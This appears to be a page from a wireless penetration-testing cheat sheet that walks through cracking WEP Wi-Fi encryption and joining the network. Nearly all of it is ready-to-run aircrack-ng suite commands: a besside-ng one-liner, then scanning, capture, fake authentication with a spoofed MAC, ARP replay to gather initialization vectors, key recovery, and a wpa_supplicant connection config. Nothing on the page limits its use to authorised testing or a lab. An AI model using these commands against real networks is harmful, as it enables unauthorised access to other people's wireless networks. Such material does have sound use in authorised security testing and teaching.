WEP

Overview

WEP (Wired Equivalent Privacy) is a broken encryption protocol. Its vulnerability lies in weak initialization vectors (IVs), by collecting enough IVs through ARP replay attacks, the key can be statistically recovered. This attack uses aircrack-ng suite: capture IVs with airodump-ng, generate traffic with aireplay-ng, and crack the key with aircrack-ng.

Automatic Attack (besside-ng)

besside-ng automates the entire WEP cracking process, fake auth, ARP replay, and cracking in one command:

airmon-ng check kill
besside-ng -c <CHANNEL> -b <BSSID> wlan0 -v

Manual Attack

1. Find the WEP Network

Scan all bands to identify WEP targets (look for WEP in the ENC column):

airodump-ng --band abg <WIFI-INTERFACE>

2. Focus on Target Network

Capture traffic and write to file:

airodump-ng -w wep-capture --bssid <BSSID> --channel <CHANNEL> <WIFI-INTERFACE>

3. Fake Authentication

Associate with the AP using a spoofed MAC to allow packet injection:

sudo aireplay-ng -1 0 -a <BSSID> -h F0:00:00:00:00:00 -e "NETWORK-NAME" <WIFI-INTERFACE>

4. ARP Replay Attack

Generate traffic to force the AP to produce new IVs:

sudo aireplay-ng --arpreplay -b <BSSID> -h F0:00:00:00:00:00 <WIFI-INTERFACE>

5. Crack the Key

Run once enough IVs are captured (typically 50,000–200,000):

sudo aircrack-ng -a 1 wep-capture-01.cap

WEP Connection

wpa_supplicant config:

network={
    ssid="<ESSID>"
    key_mgmt=NONE
    wep_key0=<KEY>
    wep_tx_keyidx=0
}

Connect:

sudo airmon-ng stop wlan0mon
sudo wpa_supplicant -i wlan0 -c /tmp/client.conf

Get an IP address:

sudo dhclient wlan0 -v

Setup

Tools

Connecting

Recon

Attacks

Rogue AP

Overview

Automatic Attack (besside-ng)

Manual Attack

1. Find the WEP Network

2. Focus on Target Network

3. Fake Authentication

4. ARP Replay Attack

5. Crack the Key

WEP Connection

​Overview

​Automatic Attack (besside-ng)

​Manual Attack

​1. Find the WEP Network

​2. Focus on Target Network

​3. Fake Authentication

​4. ARP Replay Attack

​5. Crack the Key

​WEP Connection

Overview

Automatic Attack (besside-ng)

Manual Attack

1. Find the WEP Network

2. Focus on Target Network

3. Fake Authentication

4. ARP Replay Attack

5. Crack the Key

WEP Connection